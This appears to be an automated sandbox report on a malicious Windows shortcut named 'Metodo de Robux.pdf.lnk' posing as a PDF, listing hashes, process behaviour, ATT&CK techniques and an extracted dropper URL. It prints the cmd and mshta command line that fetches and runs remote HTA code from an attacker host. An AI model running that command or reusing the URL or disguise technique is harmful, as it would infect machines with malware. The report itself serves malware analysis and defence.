20056c07a2dfd0e88d934f8a70e91c8202131ad3fd2353bcc8259d9669905c38

Analysis

max time kernel
298s
max time network
161s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
31/07/2026, 03:26

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Metodo de Robux.pdf.lnk
Size 1KB
Sample260731-dzjrssca39
SHA256 20056c07a2dfd0e88d934f8a70e91c8202131ad3fd2353bcc8259d9669905c38
MD5 79a9fda308dce7f830ce88c6d5d4781a
SHA1 e8ed8eb439230a90ef0b915aff3c8c96cc720003
SHA512 d4db67a2df76ea464d7e269105683123512bc6ac6a602e3df906c8d834261513fbbf77421427f8fccd7ad9041268b5762a9fa97db975f7db1c8886f1da000f32
TLSH
T1BF414C1077FC0625F3B79E31A4328A10A1BFBC556E01D10D00A2568D9473B55E57BFB7
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://larpers.su/api/s/16abe9a3d4584e80bfc729a515478684/pdf?n=Comprovante%20de%20Pagamento&tmpl=comprovante

Signatures

Badlisted process makes network request 4 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	2288	mshta.exe
10	2288	mshta.exe
11	2288	mshta.exe
12	2288	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2872	cmd.exe

Suspicious use of WriteProcessMemory 1 IoCs

description	pid	Process	procid_target
PID 2872 wrote to memory of 2288	2872	cmd.exe	90

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Metodo de Robux.pdf.lnk"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2872
- C:\Windows\system32\mshta.exe
  "C:\Windows\system32\mshta.exe" https://larpers.su/api/s/16abe9a3d4584e80bfc729a515478684/pdf?n=Comprovante%20de%20Pagamento&tmpl=comprovante
  2⤵
  - Badlisted process makes network request
  PID:2288

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Metodo de Robux.pdf.lnk

Path C:\Users\Admin\AppData\Local\Temp\Metodo de Robux.pdf.lnk
Size 2KB
SHA256 8f4a025dcd18943d50670f278f44bf3caa4766bf9445ec726b50fcaa53cf2e0e
MD5 dbee2ced1bbb7a4cd8834949f6163cfe
SHA1 4476e820917d213a621c09317402ef97d0c0c8b6
SHA512 752619166646bff6a82df7b622fc6ca74b568be96b5320c0efdd5b373b6dc4bf5325791ebcb3098fbb5d452881ac12e560f33cb715c71043190c58329a4203e5
TLSH
T1AA5136082EE90721F3B7CE325476A711D5BEBC86EE01DF0D00A156C96467620E47AFBB
MD5 SHA1 SHA512 TLSH

Submit Download